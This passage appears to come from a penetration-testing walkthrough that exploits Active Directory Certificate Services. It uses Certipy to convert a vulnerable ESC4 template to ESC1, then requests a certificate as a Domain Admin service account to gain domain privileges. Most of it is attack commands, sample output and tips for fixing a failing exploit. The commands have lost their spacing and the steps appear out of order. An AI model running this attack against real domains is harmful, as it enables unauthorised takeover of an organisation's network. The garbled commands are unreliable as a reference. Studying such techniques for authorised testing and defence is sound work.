For a easy win find a user that's a member of Domain Admins group and is not configured as a "Protected User". Using BloodHound the user SERVICEACCOUNT@DOMAIN.LOCAL meets these requirements.
$certipyreq-username'user@domain.local'-password'[REDACTED]'-cadc-root-ca-targetdc.domain.local-templateVPNCert-upnSERVICEACCOUNT@DOMAIN.LOCAL-sid'S-1-5-21-XXXXXXXX-YYYYYYYYYY-ZZZZZZZZZZ-RID'-debug[...][*] Got certificate with UPN 'SERVICEACCOUNT@DOMAIN.LOCAL'[*] Certificate object SID is 'S-1-5-21-XXXXXXXX-YYYYYYYYYY-ZZZZZZZZZZ-RID'[*] Saved certificate and private key to 'serviceaccount.pfx'
If you encounter any errors when requesting a new certificate see Troubleshooting below.
Verify certificate
After successfully requesting a certificate for SERVICEACCOUNT@DOMAIN.LOCAL verify authentication and privileges.
In order to restore the certificate template once exploited, download the certificate with the -save-old flag. Certipy will automatically modify the vulnerable ESC4 template to ESC1.
$certipytemplate-username'user@domain.local'-password'[REDACTED]'-templateVPNCert-save-old-debug[...][*] Saved old configuration for'VPNCert' to 'VPNCert.json'[*] Updating certificate template 'VPNCert'[...][*] Successfully updated 'VPNCert'
Verify templates
Verify that the modifications we're correct and the template is now also vulnerable to ESC1.
If we're not able to request a new certificate and encounter the error "certificate request not supported", or similar, it might be a mismatch in the template when automatically modified ESC4 to ESC1. To find the mismatching values setup a lab environment with the same vulnerability and compare the vulnerable certificate (VPNCert) to your lab environment vulnerable certificate.
Make modifications accordingly and upload the new, modified, template modified.json.